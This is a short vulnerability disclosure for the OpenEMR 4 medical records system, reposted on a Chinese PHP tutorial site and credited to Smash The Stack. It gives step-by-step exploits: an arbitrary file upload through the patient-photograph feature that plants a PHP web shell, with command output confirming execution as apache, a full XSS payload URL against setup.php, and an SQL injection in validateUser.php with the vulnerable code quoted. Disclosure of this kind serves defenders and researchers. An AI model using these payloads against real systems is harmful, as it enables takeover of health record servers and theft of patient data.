来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] OpenEMR 4 (Level @ Smash The Stack)Summary: Patient Photograph Arbitrary File UploadInitial Comment:1. Login with valid User/Pass2. Patient/Client - Search/New Patient (searc......
OpenEMR 4 (Level @ Smash The Stack)
Summary: Patient Photograph Arbitrary File Upload
Initial Comment:
1. Login with valid User/Pass
2. Patient/Client -> Search/New Patient (search for anything)
3. Click Documents -> Patient Photograph
4. Upload Shell
URL: http://www.2cto.com /openemr/sites/SITENAME/documents/PATIENTID/shell.php.jpg?cmd=id
EX: http://www.2cto.com /oe/sites/default/documents/1/shell.php.jpg?cmd=id
Output: uid=48(apache) gid=48(apache) groups=48(apache)
first installed SITENAME = default
first installed PATIENTID = 1
OpenEMR 4 (Level @ Smash The Stack)
XSS
http://www.2cto.com /oe/setup.php?site=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
OpenEMR 4 (Level @ Smash The Stack)
Summary: validateUser.php SQL Injection
Initial Comment:
http://www.2cto.com /oe/interface/login/validateUser.php?u=test'
validateUser.php:
$user = $_GET['u'];
$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");
www.2cto.com修复: 分析够具体了 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com